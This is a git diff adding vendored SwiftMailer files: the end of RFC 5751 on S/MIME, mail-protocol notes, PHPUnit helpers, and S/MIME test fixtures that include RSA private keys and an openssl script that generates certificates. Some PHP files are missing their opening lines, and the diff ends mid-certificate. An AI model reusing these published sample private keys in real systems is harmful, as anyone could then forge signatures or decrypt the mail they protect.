Key Establishment Schemes Using Discrete Logarithm + Cryptography (Revised), March 2007. + + + + + +Ramsdell & Turner Standards Track [Page 40] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + [X.680] ITU-T Recommendation X.680 (2002) | ISO/IEC + 8824-1:2002. Information Technology - Abstract Syntax + Notation One (ASN.1): Specification of basic notation. + + [X.690] ITU-T Recommendation X.690 (2002) | ISO/IEC + 8825-1:2002. Information Technology - ASN.1 encoding + rules: Specification of Basic Encoding Rules (BER), + Canonical Encoding Rules (CER) and Distinguished + Encoding Rules (DER). + +7.3. Informative References + + [DHSUB] Zuccherato, R., "Methods for Avoiding the "Small- + Subgroup" Attacks on the Diffie-Hellman Key Agreement + Method for S/MIME", RFC 2785, March 2000. + + [HASH-ATTACK] Hoffman, P. and B. Schneier, "Attacks on Cryptographic + Hashes in Internet Protocols", RFC 4270, November 2005. + + [MMA] Rescorla, E., "Preventing the Million Message Attack on + Cryptographic Message Syntax", RFC 3218, January 2002. + + [PKCS-7] Kaliski, B., "PKCS #7: Cryptographic Message Syntax + Version 1.5", RFC 2315, March 1998. + + [RFC2311] Dusse, S., Hoffman, P., Ramsdell, B., Lundblade, L., + and L. Repka, "S/MIME Version 2 Message Specification", + RFC 2311, March 1998. + + [RFC2312] Dusse, S., Hoffman, P., Ramsdell, B., and J. + Weinstein, "S/MIME Version 2 Certificate Handling", RFC + 2312, March 1998. + + [RFC2313] Kaliski, B., "PKCS #1: RSA Encryption Version 1.5", RFC + 2313, March 1998. + + [RFC2314] Kaliski, B., "PKCS #10: Certification Request Syntax + Version 1.5", RFC 2314, March 1998. + + [RFC2315] Kaliski, B., "PKCS #7: Certification Message Syntax + Version 1.5", RFC 2315, March 1998. + + [RFC2630] Housley, R., "Cryptographic Message Syntax", RFC 2630, + June 1999. + + [RFC2631] Rescorla, E., "Diffie-Hellman Key Agreement Method", + RFC 2631, June 1999. + + + + +Ramsdell & Turner Standards Track [Page 41] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + [RFC2632] Ramsdell, B., Ed., "S/MIME Version 3 Certificate + Handling", RFC 2632, June 1999. + + [RFC2633] Ramsdell, B., Ed., "S/MIME Version 3 Message + Specification", RFC 2633, June 1999. + + [RFC3850] Ramsdell, B., Ed., "Secure/Multipurpose Internet Mail + Extensions (S/MIME) Version 3.1 Certificate Handling", + RFC 3850, July 2004. + + [RFC3851] Ramsdell, B., Ed., "Secure/Multipurpose Internet Mail + Extensions (S/MIME) Version 3.1 Message Specification", + RFC 3851, July 2004. + + [RFC3852] Housley, R., "Cryptographic Message Syntax (CMS)", RFC + 3852, July 2004. + + [SP800-57] National Institute of Standards and Technology (NIST), + Special Publication 800-57: Recommendation for Key + Management, August 2005. + + [STRENGTH] Orman, H., and P. Hoffman, "Determining Strengths For + Public Keys Used For Exchanging Symmetric Keys", BCP + 86, RFC 3766, April 2004. + + + + + + + + + + + + + + + + + + + + + + + + + + + +Ramsdell & Turner Standards Track [Page 42] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +Appendix A. ASN.1 Module + + Note: The ASN.1 module contained herein is unchanged from RFC 3851 + [SMIMEv3.1] with the exception of a change to the prefersBinaryInside + ASN.1 comment. This module uses the 1988 version of ASN.1. + + SecureMimeMessageV3dot1 + + { iso(1) member-body(2) us(840) rsadsi(113549) + pkcs(1) pkcs-9(9) smime(16) modules(0) msg-v3dot1(21) } + + DEFINITIONS IMPLICIT TAGS ::= + + BEGIN + + IMPORTS + + -- Cryptographic Message Syntax [CMS] + SubjectKeyIdentifier, IssuerAndSerialNumber, + RecipientKeyIdentifier + FROM CryptographicMessageSyntax + { iso(1) member-body(2) us(840) rsadsi(113549) + pkcs(1) pkcs-9(9) smime(16) modules(0) cms-2001(14) }; + + -- id-aa is the arc with all new authenticated and unauthenticated + -- attributes produced by the S/MIME Working Group + + id-aa OBJECT IDENTIFIER ::= {iso(1) member-body(2) usa(840) + rsadsi(113549) pkcs(1) pkcs-9(9) smime(16) attributes(2)} + + -- S/MIME Capabilities provides a method of broadcasting the + -- symmetric capabilities understood. Algorithms SHOULD be ordered + -- by preference and grouped by type + + smimeCapabilities OBJECT IDENTIFIER ::= {iso(1) member-body(2) + us(840) rsadsi(113549) pkcs(1) pkcs-9(9) 15} + + SMIMECapability ::= SEQUENCE { + capabilityID OBJECT IDENTIFIER, + parameters ANY DEFINED BY capabilityID OPTIONAL } + + SMIMECapabilities ::= SEQUENCE OF SMIMECapability + + -- Encryption Key Preference provides a method of broadcasting the + -- preferred encryption certificate. + + id-aa-encrypKeyPref OBJECT IDENTIFIER ::= {id-aa 11} + + + + +Ramsdell & Turner Standards Track [Page 43] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + SMIMEEncryptionKeyPreference ::= CHOICE { + issuerAndSerialNumber [0] IssuerAndSerialNumber, + receipentKeyId [1] RecipientKeyIdentifier, + subjectAltKeyIdentifier [2] SubjectKeyIdentifier + } + + -- receipentKeyId is spelt incorrectly, but kept for historical + -- reasons. + + id-smime OBJECT IDENTIFIER ::= { iso(1) member-body(2) us(840) + rsadsi(113549) pkcs(1) pkcs9(9) 16 } + + id-cap OBJECT IDENTIFIER ::= { id-smime 11 } + + -- The preferBinaryInside OID indicates an ability to receive + -- messages with binary encoding inside the CMS wrapper. + -- The preferBinaryInside attribute's value field is ABSENT. + + id-cap-preferBinaryInside OBJECT IDENTIFIER ::= { id-cap 1 } + + -- The following list OIDs to be used with S/MIME V3 + + -- Signature Algorithms Not Found in [CMSALG], [CMS-SHA2], [RSAPSS], + -- and [RSAOAEP] + + -- + -- md2WithRSAEncryption OBJECT IDENTIFIER ::= + -- {iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) pkcs-1(1) + -- 2} + + -- + -- Other Signed Attributes + -- + -- signingTime OBJECT IDENTIFIER ::= + -- {iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) pkcs-9(9) + -- 5} + -- See [CMS] for a description of how to encode the attribute + -- value. + + SMIMECapabilitiesParametersForRC2CBC ::= INTEGER + -- (RC2 Key Length (number of bits)) + + END + + + + + + + + +Ramsdell & Turner Standards Track [Page 44] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +Appendix B. Moving S/MIME v2 Message Specification to Historic Status + + The S/MIME v3 [SMIMEv3], v3.1 [SMIMEv3.1], and v3.2 (this document) + are backwards compatible with the S/MIME v2 Message Specification + [SMIMEv2], with the exception of the algorithms (dropped RC2/40 + requirement and added DSA and RSASSA-PSS requirements). Therefore, + it is recommended that RFC 2311 [SMIMEv2] be moved to Historic + status. + +Appendix C. Acknowledgments + + Many thanks go out to the other authors of the S/MIME version 2 + Message Specification RFC: Steve Dusse, Paul Hoffman, Laurence + Lundblade, and Lisa Repka. Without v2, there wouldn't be a v3, v3.1, + or v3.2. + + A number of the members of the S/MIME Working Group have also worked + very hard and contributed to this document. Any list of people is + doomed to omission, and for that I apologize. In alphabetical order, + the following people stand out in my mind because they made direct + contributions to this document: + + Tony Capel, Piers Chivers, Dave Crocker, Bill Flanigan, Peter + Gutmann, Alfred Hoenes, Paul Hoffman, Russ Housley, William Ottaway, + John Pawling, and Jim Schaad. + +Authors' Addresses + + Blake Ramsdell + Brute Squad Labs, Inc. + + EMail: blaker@gmail.com + + + Sean Turner + IECA, Inc. + 3057 Nutley Street, Suite 106 + Fairfax, VA 22031 + USA + + EMail: turners@ieca.com + + + + + + + + + + +Ramsdell & Turner Standards Track [Page 45] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/whats_where.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/whats_where.txt new file mode 100644 index 00000000..201a5f72 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/whats_where.txt @@ -0,0 +1,90 @@ +RFC 1854: +--------- +PIPELINING extension + +RFC 2222: +--------- +SASL + +RFC 4505: +--------- +ANYNONYMOUS SASL + +RFC 4616: +--------- +PLAIN SASL + +RFC 2487: +--------- +STARTTLS extension + +RFC 2554 & 4954: +---------------- +AUTH extension + +RFC 2821: +--------- +SMTP protocol + +RFC 2822: +--------- +General message structure (focusing on important headers) + +RFC 2045: +--------- +Quoted Printable Encoding +Base 64 Encoding +Detailed message structure + +RFC 2046: +--------- +Media types (for subparts) + +RFC 2047: +--------- +Header Encoding + +RFC 2183: +--------- +The Content-Disposition header + +RFC 2231: +--------- +Encoded Text header/attribute extensions + +RFC 2234: +--------- +ABNF definitions + +RFC 3676: +--------- +Flowed formatting/delsp parameters + +RFC 2015: +--------- +Original Mime Security with OpenPGP + +RFC 2440: +--------- +Original OpenPGP message format + +RFC 3156: +--------- +Current (30/01/2009) Mime Security with OpenPGP + +RFC 4880: +--------- +Current (30/01/2009) OpenPGP Message format revision (fun, it's exactly original *2 --sorry) + +RFC 5751: +-------- +Secure/Multipurpose Internet Mail Extensions (S/MIME) Version 3.2 + +RFC 4870: +--------- +DomainKeys (historic), but still used by a few people. + +RFX 4871: +--------- +DKIM + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/smtp.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/smtp.txt new file mode 100644 index 00000000..3f8047a9 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/smtp.txt @@ -0,0 +1,48 @@ +General Notes +-------------- + * MX is NOT required, but an A record, or CNAME to a MX MUST be present at the least. + * EHLO should be tried, then fall back to HELO + * The 250 return code from RCPT TO is not actually clear-cut. A 251 may be + returned if the message was forwarded to another address. This could be a + useful indicator to end-users that an address should be updated. + * RCPT TO can accpet just "postmaster" without a domain name + * Server MUST not close connection before: + - QUIT and returning 221 response + - Forced requirement, and only after returning a 421 response + - Clients expriencing a forced connection closure, without prior warning should + just treat it like a 451 closure regardless + * ALWAYS use blocking sockets for the initial connection (this should prevent + Exim4's whining about sync). + +Response codes +-------------- + * From RFC2821, 4.2. + - In particular, the 220, 221, 251, 421, and 551 reply codes + are associated with message text that must be parsed and interpreted + by machines. + +Error Codes +------------ + * Numeric 5yz = Error + - 550/RCPT TO = Relay denied + - 500 = Unknown command + * Numeric 2yz = Normal + * Numeric 4yz = Temporary failure?? + + + + + + + + + + + + tests/unit + + + tests/acceptance + + + tests/bug + + + tests/smoke + + + + + + + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/IdenticalBinaryConstraint.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/IdenticalBinaryConstraint.php new file mode 100644 index 00000000..95251b4d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/IdenticalBinaryConstraint.php @@ -0,0 +1,60 @@ +value = $value; + } + + /** + * Evaluates the constraint for parameter $other. Returns TRUE if the + * constraint is met, FALSE otherwise. + * + * @param mixed $other Value or object to evaluate. + * @return bool + */ + public function matches($other) + { + $aHex = $this->asHexString($this->value); + $bHex = $this->asHexString($other); + + return $aHex === $bHex; + } + + /** + * Returns a string representation of the constraint. + * + * @return string + */ + public function toString() + { + return 'indentical binary'; + } + + /** + * Get the given string of bytes as a stirng of Hexadecimal sequences. + * + * @param string $binary + * + * @return string + */ + private function asHexString($binary) + { + $hex = ''; + + $bytes = unpack('H*', $binary); + + foreach ($bytes as &$byte) { + $byte = strtoupper($byte); + } + + return implode('', $bytes); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/StreamCollector.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/StreamCollector.php new file mode 100644 index 00000000..7f079d98 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/StreamCollector.php @@ -0,0 +1,11 @@ +content .= $arg; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/SwiftMailerSmokeTestCase.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/SwiftMailerSmokeTestCase.php new file mode 100644 index 00000000..6ff53432 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/SwiftMailerSmokeTestCase.php @@ -0,0 +1,46 @@ +markTestSkipped( + 'Smoke tests are skipped if tests/smoke.conf.php is not edited' + ); + } + } + + protected function _getMailer() + { + switch (SWIFT_SMOKE_TRANSPORT_TYPE) { + case 'smtp': + $transport = Swift_DependencyContainer::getInstance()->lookup('transport.smtp') + ->setHost(SWIFT_SMOKE_SMTP_HOST) + ->setPort(SWIFT_SMOKE_SMTP_PORT) + ->setUsername(SWIFT_SMOKE_SMTP_USER) + ->setPassword(SWIFT_SMOKE_SMTP_PASS) + ->setEncryption(SWIFT_SMOKE_SMTP_ENCRYPTION) + ; + break; + case 'sendmail': + $transport = Swift_DependencyContainer::getInstance()->lookup('transport.sendmail') + ->setCommand(SWIFT_SMOKE_SENDMAIL_COMMAND) + ; + break; + case 'mail': + case 'nativemail': + $transport = Swift_DependencyContainer::getInstance()->lookup('transport.mail'); + break; + default: + throw new Exception('Undefined transport [' . SWIFT_SMOKE_TRANSPORT_TYPE . ']'); + } + + return new Swift_Mailer($transport); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/SwiftMailerTestCase.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/SwiftMailerTestCase.php new file mode 100644 index 00000000..365c56a8 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/SwiftMailerTestCase.php @@ -0,0 +1,33 @@ + \ No newline at end of file diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/files/textfile.zip b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/files/textfile.zip new file mode 100644 index 00000000..5a580ecb Binary files /dev/null and b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/files/textfile.zip differ diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/CA.srl b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/CA.srl new file mode 100644 index 00000000..dd9818ab --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/CA.srl @@ -0,0 +1 @@ +D42DA34CF90FA0DE diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/ca.crt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/ca.crt new file mode 100644 index 00000000..695f8142 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/ca.crt @@ -0,0 +1,21 @@ +-----BEGIN CERTIFICATE----- +MIIDazCCAlOgAwIBAgIJAKJCGQYLxWT1MA0GCSqGSIb3DQEBBQUAMEwxFzAVBgNV +BAMMDlN3aWZ0bWFpbGVyIENBMRQwEgYDVQQKDAtTd2lmdG1haWxlcjEOMAwGA1UE +BwwFUGFyaXMxCzAJBgNVBAYTAkZSMB4XDTEzMTEyNzA4MzkxMFoXDTE3MTEyNjA4 +MzkxMFowTDEXMBUGA1UEAwwOU3dpZnRtYWlsZXIgQ0ExFDASBgNVBAoMC1N3aWZ0 +bWFpbGVyMQ4wDAYDVQQHDAVQYXJpczELMAkGA1UEBhMCRlIwggEiMA0GCSqGSIb3 +DQEBAQUAA4IBDwAwggEKAoIBAQC7RLdHE3OWo9aZwv1xA/cYyPui/gegxpTqClRp +gGcVQ+jxIfnJQDQndyoAvFDiqOiZ+gAjZGJeUHDp9C/2IZp05MLh+omt9N8pBykm +3nj/3ZwPXOAO0uyDPAOHhISITAxEuZCqDnq7iYujywtwfQ7bpW1hCK9PfNZYMStM +kw7LsGr5BqcKkPuOWTvxE3+NqK8HxydYolsoApEGhgonyImVh1Pg1Kjkt5ojvwAX +zOdjfw5poY5NArwuLORUH+XocetRo8DC6S42HkU/MoqcYxa9EuRuwuQh7GtE6baR +PgrDsEYaY4Asy43sK81V51F/8Q1bHZKN/goQdxQwzv+/nOLTAgMBAAGjUDBOMB0G +A1UdDgQWBBRHgqkl543tKhsVAvcx1I0JFU7JuDAfBgNVHSMEGDAWgBRHgqkl543t +KhsVAvcx1I0JFU7JuDAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQAz +OJiEQcygKGkkXXDiXGBvP/cSznj3nG9FolON0yHUBgdvLfNnctRMStGzPke0siLt +RJvjqiL0Uw+blmLJU8lgMyLJ9ctXkiLJ/WflabN7VzmwYRWe5HzafGQJAg5uFjae +VtAAHQgvbmdXB6brWvcMQmB8di7wjVedeigZvkt1z2V0FtBy8ybJaT5H6bX9Bf5C +dS9r4mLhk/0ThthpRhRxsmupSL6e49nJaIk9q0UTEQVnorJXPcs4SPTIY51bCp6u +cOebhNgndSxCiy0zSD7vRjNiyB/YNGZ9Uv/3DNTLleMZ9kZgfoKVpwYKrRL0IFT/ +cfS2OV1wxRxq668qaOfK +-----END CERTIFICATE----- diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/ca.key b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/ca.key new file mode 100644 index 00000000..df674708 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/ca.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEogIBAAKCAQEAu0S3RxNzlqPWmcL9cQP3GMj7ov4HoMaU6gpUaYBnFUPo8SH5 +yUA0J3cqALxQ4qjomfoAI2RiXlBw6fQv9iGadOTC4fqJrfTfKQcpJt54/92cD1zg +DtLsgzwDh4SEiEwMRLmQqg56u4mLo8sLcH0O26VtYQivT3zWWDErTJMOy7Bq+Qan +CpD7jlk78RN/jaivB8cnWKJbKAKRBoYKJ8iJlYdT4NSo5LeaI78AF8znY38OaaGO +TQK8LizkVB/l6HHrUaPAwukuNh5FPzKKnGMWvRLkbsLkIexrROm2kT4Kw7BGGmOA +LMuN7CvNVedRf/ENWx2Sjf4KEHcUMM7/v5zi0wIDAQABAoIBAGyaWkvu/O7Uz2TW +z1JWgVuvWzfYaKYV5FCicvfITn/npVUKZikPge+NTR+mFqaMXHDHqoLb+axGrGUR +hysPq9q0vEx/lo763tyVWYlAJh4E8Dd8njganK0zBbz23kGJEOheUYY95XGTQBda +bqTq8c3x7zAB8GGBvXDh+wFqm38GLyMF6T+YEzWJZqXfg31f1ldRvf6+VFwlLfz6 +cvTR7oUpYIsUeGE47kBs13SN7Oju6a355o/7wy9tOCRiu+r/ikXFh8rFGLfeTiwv +R1dhYjcEYGxZUD8u64U+Cj4qR1P0gHJL0kbh22VMMqgALOc8FpndkjNdg1Nun2X8 +BWpsPwECgYEA7C9PfTOIZfxGBlCl05rmWex++/h5E5PbH1Cw/NGjIH1HjmAkO3+5 +WyMXhySOJ8yWyCBQ/nxqc0w7+TO4C7wQcEdZdUak25KJ74v0sfmWWrVw6kcnLU6k +oawW/L2F2w7ET3zDoxKh4fOF34pfHpSbZk7XJ68YOfHpYVnP4efkQVMCgYEAyvrM +KA7xjnsKumWh206ag3QEI0M/9uPHWmrh2164p7w1MtawccZTxYYJ5o5SsjTwbxkf +0cAamp4qLInmRUxU1gk76tPYC3Ndp6Yf1C+dt0q/vtzyJetCDrdz8HHT1SpKbW0l +g6z1I5FMwa6oWvWsfS++W51vsxUheNsOJ4uxKIECgYBwM7GRiw+7U3N4wItm0Wmp +Qp642Tu7vzwTzmOmV3klkB6UVrwfv/ewgiVFQGqAIcNn42JW44g2qfq70oQWnws4 +K80l15+t6Bm7QUPH4Qg6o4O26IKGFZxEadqpyudyP7um/2B5cfqRuvzYS4YQowyI +N+AirB3YOUJjyyTk7yMSnQKBgGNLpSvDg6+ryWe96Bwcq8G6s3t8noHsk81LlAl4 +oOSNUYj5NX+zAbATDizXWuUKuMPgioxVaa5RyVfYbelgme/KvKD32Sxg12P4BIIM +eR79VifMdjjOiZYhcHojdPlGovo89qkfpxwrLF1jT8CPhj4HaRvwPIBiyekRYC9A +Sv4BAoGAXCIC1xxAJP15osUuQjcM8KdsL1qw+LiPB2+cJJ2VMAZGV7CR2K0aCsis +OwRaYM0jZKUpxzp1uwtfrfqbhdYsv+jIBkfwoShYZuo6MhbUrj0sffkhJC3WrT2z +xafCFLFv1idzGvvNxatlp1DNKrndG2NS3syVAox9MnL5OMsvGM8= +-----END RSA PRIVATE KEY----- diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/create-cert.sh b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/create-cert.sh new file mode 100644 index 00000000..16314a27 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/create-cert.sh @@ -0,0 +1,26 @@ +#!/bin/sh + +openssl genrsa -out CA.key 2048 +openssl req -x509 -new -nodes -key CA.key -days 1460 -subj '/CN=Swiftmailer CA/O=Swiftmailer/L=Paris/C=FR' -out CA.crt +openssl x509 -in CA.crt -clrtrust -out CA.crt + +openssl genrsa -out sign.key 2048 +openssl req -new -key sign.key -subj '/CN=Swiftmailer-User/O=Swiftmailer/L=Paris/C=FR' -out sign.csr +openssl x509 -req -in sign.csr -CA CA.crt -CAkey CA.key -out sign.crt -days 1460 -addtrust emailProtection +openssl x509 -in sign.crt -clrtrust -out sign.crt + +rm sign.csr + +openssl genrsa -out encrypt.key 2048 +openssl req -new -key encrypt.key -subj '/CN=Swiftmailer-User/O=Swiftmailer/L=Paris/C=FR' -out encrypt.csr +openssl x509 -req -in encrypt.csr -CA CA.crt -CAkey CA.key -CAcreateserial -out encrypt.crt -days 1460 -addtrust emailProtection +openssl x509 -in encrypt.crt -clrtrust -out encrypt.crt + +rm encrypt.csr + +openssl genrsa -out encrypt2.key 2048 +openssl req -new -key encrypt2.key -subj '/CN=Swiftmailer-User2/O=Swiftmailer/L=Paris/C=FR' -out encrypt2.csr +openssl x509 -req -in encrypt2.csr -CA CA.crt -CAkey CA.key -CAcreateserial -out encrypt2.crt -days 1460 -addtrust emailProtection +openssl x509 -in encrypt2.crt -clrtrust -out encrypt2.crt + +rm encrypt2.csr diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt.crt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt.crt new file mode 100644 index 00000000..7435855c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt.crt @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDFjCCAf4CCQDULaNM+Q+g3TANBgkqhkiG9w0BAQUFADBMMRcwFQYDVQQDDA5T +d2lmdG1haWxlciBDQTEUMBIGA1UECgwLU3dpZnRtYWlsZXIxDjAMBgNVBAcMBVBh +cmlzMQswCQYDVQQGEwJGUjAeFw0xMzExMjcwODM5MTFaFw0xNzExMjYwODM5MTFa +ME4xGTAXBgNVBAMMEFN3aWZ0bWFpbGVyLVVzZXIxFDASBgNVBAoMC1N3aWZ0bWFp +bGVyMQ4wDAYDVQQHDAVQYXJpczELMAkGA1UEBhMCRlIwggEiMA0GCSqGSIb3DQEB +AQUAA4IBDwAwggEKAoIBAQCcNO+fVZBT2znmVwXXZ08n3G5WA1kyvqh9z4RBBZOD +V46Gc1X9MMXr9+wzZBFkAckKaa6KsTkeUr4pC8XUBpQnakxH/kW9CaDPdOE+7wNo +FkPfc6pjWWgpAVxdkrtk7pb4/aGQ++HUkqVu0cMpIcj/7ht7H+3QLZHybn+oMr2+ +FDnn8vPmHxVioinSrxKTlUITuLWS9ZZUTrDa0dG8UAv55A/Tba4T4McCPDpJSA4m +9jrW321NGQUntQoItOJxagaueSvh6PveGV826gTXoU5X+YJ3I2OZUEQ2l6yByAzf +nT+QlxPj5ikotFwL72HsenYtetynOO/k43FblAF/V/l7AgMBAAEwDQYJKoZIhvcN +AQEFBQADggEBAJ048Sdb9Sw5OJM5L00OtGHgcT1B/phqdzSjkM/s64cg3Q20VN+F +fZIIkOnxgyYWcpOWXcdNw2tm5OWhWPGsBcYgMac7uK/ukgoOJSjICg+TTS5kRo96 +iHtmImqkWc6WjNODh7uMnQ6DsZsscdl7Bkx5pKhgGnEdHr5GW8sztgXgyPQO5LUs +YzCmR1RK1WoNMxwbPrGLgYdcpJw69ns5hJbZbMWwrdufiMjYWvTfBPABkk1JRCcY +K6rRTAx4fApsw1kEIY8grGxyAzfRXLArpro7thJr0SIquZ8GpXkQT/mgRR8JD9Hp +z9yhr98EnKzITE/yclGN4pUsuk9S3jiyzUU= +-----END CERTIFICATE----- diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt.key b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt.key new file mode 100644 index 00000000..aa620ca6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEAnDTvn1WQU9s55lcF12dPJ9xuVgNZMr6ofc+EQQWTg1eOhnNV +/TDF6/fsM2QRZAHJCmmuirE5HlK+KQvF1AaUJ2pMR/5FvQmgz3ThPu8DaBZD33Oq +Y1loKQFcXZK7ZO6W+P2hkPvh1JKlbtHDKSHI/+4bex/t0C2R8m5/qDK9vhQ55/Lz +5h8VYqIp0q8Sk5VCE7i1kvWWVE6w2tHRvFAL+eQP022uE+DHAjw6SUgOJvY61t9t +TRkFJ7UKCLTicWoGrnkr4ej73hlfNuoE16FOV/mCdyNjmVBENpesgcgM350/kJcT +4+YpKLRcC+9h7Hp2LXrcpzjv5ONxW5QBf1f5ewIDAQABAoIBADmuMm2botfUM+Ui +bT3FIC2P8A5C3kUmsgEDB8sazAXL5w0uuanswKkJu2aepO1Q23PE4nbESlswIpf1 +iO9qHnsPfWt4MThEveTdO++JQrDEx/tTMq/M6/F4VysWa6wxjf4Taf2nhRSBsiTh +wDcICri2q98jQyWELkhfFTR+yCHPsn6iNtzE2OpNv9ojKiSqck/sVjC39Z+uU/HD +N4v0CPf9pDGkO+modaVGKf2TpvZT7Hpq/jsPzkk1h7BY7aWdZiIY4YkBkWYqZk8f +0dsxKkOR2glfuEYNtcywG+4UGx3i1AY0mMu96hH5M1ACFmFrTCoodmWDnWy9wUpm +leLmG8ECgYEAywWdryqcvLyhcmqHbnmUhCL9Vl4/5w5fr/5/FNvqArxSGwd2CxcN +Jtkvu22cxWAUoe155eMc6GlPIdNRG8KdWg4sg0TN3Jb2jiHQ3QkHXUJlWU6onjP1 +g2n5h052JxVNGBEb7hr3U7ZMW6wnuYnGdYwCB9P3r5oGxxtfVRB8ygUCgYEAxPfy +tAd3SNT8Sv/cciw76GYKbztUjJRXkLo6GOBGq/AQxP1NDWMuL2AES11YIahidMsF +TMmM+zhkNHsd5P69p87FTMWx0cLoH0M9iQNK7Q6C1luTjLf5DTFuk+nHGErM4Drs ++6Ly1Z4KLXfXgBDD8Ce6U9+W3RrCc36poGZvjX8CgYEAna0P6WJr9r19mhIYevmc +Gf/ex7xNXxMvx80dP8MIfPVrwyhJSpWtljVpt+SKtFRJ0fVRDfUUl4Bqf/fR74B3 +muCVO6ItTBxHAt5Ki9CeUpTlh7XqiWwLSvP8Y1TRuMr3ZDCtg4CYBAD6Ttxmwde6 +NcL2NMQwgsZaazrcEIHMmU0CgYEAl/Mn2tZ/oUIdt8YWzEVvmeNOXW0J1sGBo/bm +ZtZt7qpuZWl7jb5bnNSXu4QxPxXljnAokIpUJmHke9AWydfze4c6EfXZLhcMd0Gq +MQ7HOIWfTbqr4zzx9smRoq4Ql57s2nba521XpJAdDeKL7xH/9j7PsXCls8C3Dd5D +AajEmgUCgYAGEdn6tYxIdX7jF39E3x7zHQf8jHIoQ7+cLTLtd944mSGgeqMfbiww +CoUa+AAUqjdAD5ViAyJrA+gmDtWpkFnJZtToXYwfUF2o3zRo4k1DeBrVbFqwSQkE +omrfiBGtviYIPdqQLE34LYpWEooNPraqO9qTyc+9w5038u2OFS+WmQ== +-----END RSA PRIVATE KEY----- diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt2.crt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt2.crt new file mode 100644 index 00000000..69081656 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/_samples/smime/encrypt2.crt @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDFzCCAf8CCQDULaNM+Q+g3jANBgkqhkiG9w0BAQUFADBMMRcwFQYDVQQDDA5T +d2lmdG1haWxlciBDQTEUMBIGA1UECgwLU3dpZnRtYWlsZXIxDjAMBgNVBAcMBVBh +cmlzMQswCQYDVQQGEwJGUjAeFw0xMzExMjcwODM5MTJaFw0xNzExMjYwODM5MTJa +ME8xGjAYBgNVBAMMEVN3aWZ0bWFpbGVyLVVzZXIyMRQwEgYDVQQKDAtTd2lmdG1h +aWxlcjEOMAwGA1UEBwwFUGFyaXMxCzAJBgNVBAYTAkZSMIIBIjANBgkqhkiG9w0B +AQEFAAOCAQ8AMIIBCgKCAQEAw4AoYVYss2sa1BWJAJpK6gVemjXrp1mVXVpb1/z6 +SH15AGsp3kiNXsMpgvsdofbqC/5HXrw2G8gWqo+uh6GuK67+Tvp7tO2aD4+8CZzU +K1cffj7Pbx95DUPwXckv79PT5ZcuyeFaVo92aug11+gS/P8n0WXSlzZxNuZ1f3G2 +r/IgwfNKZlarEf1Ih781L2SwmyveW/dtsV2pdrd4IZwsV5SOF2zBFIXSuhPN0c+m 